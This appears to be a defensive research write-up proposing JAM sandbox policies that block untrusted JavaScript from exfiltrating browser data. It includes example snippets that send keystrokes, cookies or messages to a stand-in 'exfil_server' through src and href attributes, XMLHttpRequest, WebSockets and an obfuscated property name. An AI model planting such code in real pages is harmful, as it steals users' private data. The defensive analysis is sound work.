Preventing JavaScript Data Exfiltration Using JAM

# JavaScript Network Data Exfiltration

In the following section, we will consider the situation where untrustworthy third-party JavaScript is included in an otherwise trusted page. The goal of the malicious script will be to exfiltrate data collected from the client’s browser, e.g, by logging keystrokes, reading cookies, or reading other DOM elements. We will refer to the exfilrated data as *exfil\_msg* and the server to which the exfiltrated data is sent as the *exfil\_server*. Note that as discussed in [1] *exfil\_server* does not necessarily need to be a malicious or untrustworthy site. In fact, it does not even need to be different than the site hosting the page. An example, given in [1] is a malicious script injected into an auction site that steals a user Alice’s cookie and posts it in the comments section of her own auction page. The authors call this technique self-exfiltration and observe that any techniques based on target destination whitelists are susceptible to self-exfiltration.

We propose using JAM to block network access included to so-called whitelisted sites for certain untrustworthy scripts. Such a sandbox is useful when it is known that the script being sandboxed does not need any network access. For example consider a bar code processing library that does not interact with the network or pull in other scripts.

## DOM elements with src attribute

Data can be exfiltrated by adding a DOM element with “src” attribute set with *exfil\_msg* contained in the URL. The malicious server upon receiving the resulting HTTP request can extract *exfil\_msg*. The “src” attribute can be set for DOM elements such as a *script*, *iframe, image*, and *video*.

var script = document.createElement('script');

script.src = http://exfil\_server/exfil\_message

document.body.appendChild( script );

Modifying an existing DOM element’s “src” attribute also gives the some results.

var script = document.createElement('script');

document.body.appendChild( script );

script.src = http://exfil\_server/exfil\_message

The above two examples assume a malicious web server. A variation of the attack can also be done by assuming a malicious DNS server. In this version of the attack the src attribute is set to something like, “http://exfil\_msg.exfil\_server.com”. Care must be taken by the attacker to ensure that exfil\_msg is encoded such that only characters acceptable in a DNS query are used.

## DOM elements with href attribute

Data can be exfiltrated using a DOM element’s “href” attribute similar to how a “src” attribute is used for anchor and link elements. Links may require the user to do some action such as click on them in order to be activated, but this is not always the case. For example, a *link* element to a css file is automatically queried without user interaction.

var link = document.createElement(‘link’);

document.body.appendChild( link );

link.href = <http://exfil_server/exfil_message>

link.rel = "stylesheet"

link.type = "test/css"

## XMLHTTPRequests

Data can be exfiltrated using an XMLHTTPRequest as depicted below. Browsers implement a same origin policy for XMLHTTPRequests that prevents data from being received from a different origin server but not from being sent.

xmlhttp= new XMLHttpRequest();

xmlhttp.open('GET', gen\_exfil\_url(key\_history, 'xmlhttp request'), true);

xmlhttp.send(null);

## WebSockets

WebSockets allow bidirectional client / server communication. Malicious JavaScript can exifiltrate data in a straightforward way to any malicious WebSocket server.

var ws = new WebSocket("ws://*exfil\_server*:9998/do\_something");

ws.onopen = function()

{

ws.send(*exfil\_msg*);

};

## Cookies

Because of self-exfiltration attacks, the browser’s same origin policy for cookies does not necessarily prevent data exfiltration via cookies. For example, suppose a user Alice logs into a website which includes malicious JavaScipt as part of a third-party widget that steals Alice’s cookie. Suppose the cookie has a user name followed by a secret value. The malicious JavaScript can change the username of the cookie to Mallory. Next time Mallory logs in his cookie will have Alice’s secret value.

## Window.postMessage

Window.postMessage allows inter-origin communication between two separate browser windows. If one window is running sandboxed JavaScript but another window is not. The malicious JavaScript can pass messages to the non-sandboxed window by using postMessage if the non-sandboxed window listens for messages from the postMessage queue. The attacker must assume that the user has another window open that listens for messages in order for this technique to be successful. Thus the technique has limited effectiveness but should still be blocked in order to be thorough.

## Redirects

Redirecting to another page using Window.location can also leak information, for example through the url.

## Forms

Submitting forms can also leak information.

# Generally dangerous operations

The eval operations should be disallowed.

# Implications of blocking network interactions

Blocking all network access may be too Draconian in many situations. For example, third-party scripts such as advertisements need to pull in images and redirect the user to merchant’s website.

# JAM Policy

## Restricting DOM elements with src attribute

Our concern with DOM elements with src attribute is that data captured on the client’s browser can be exfiltrated by using the URL specified in src attribute. Our proposed policy is to block elements with their src attribute set. As a side effect, this prevents the use of images and other elements that require the src attribute.

Determining whether JavaScript code actually accesses the src attribute or not using static analysis is not completely straightforward. As discussed in [2] this is in general a intractable problem since properties can be accessed by strings representing the property name, e.g, obj[“src”]. The problem is that it is difficult to determine what the property name string value actually is since this can be obfuscated by using a convoluted set of operations to derive the property name string.

var script = document.createElement('script');

pname = “s”

pname = pname + “r”

pname = pname + “c”

script[pname] = http://exfil\_server/exfil\_message

document.body.appendChild( script );

Runtime checks that ensure that the argument to the [] operator is not “src” should address this limitation.

## Restricting DOM elements with href attribute

The discussion for DOM elements with href attributes is largely the same as for elements with src attributes.

## Other methods

WebSockets and XMLHTTPRequests can be prevented by disallowing creation of objects of those types. Window.postMessage can be prevented by disallows calls to this function. Similarly Window.location can be prevented from being set to prevent redirects. Form.submit can be blocked to prevent exfiltration via forms. To prevent leaking information through cookies, writing data to cookies should be restricted.

[1] Eric Yawei Chen, Sergey Gorbaty, Astha Singhal, and Collin Jackson. Self-Exfiltration: The Dangers of Browser-Enforced Information Flow Control. Web 2.0 Security and Privacy 2012.

[2] Sergio Maffeis and Ankur Taly. Language-Based Isolation of Untrusted JavaScript.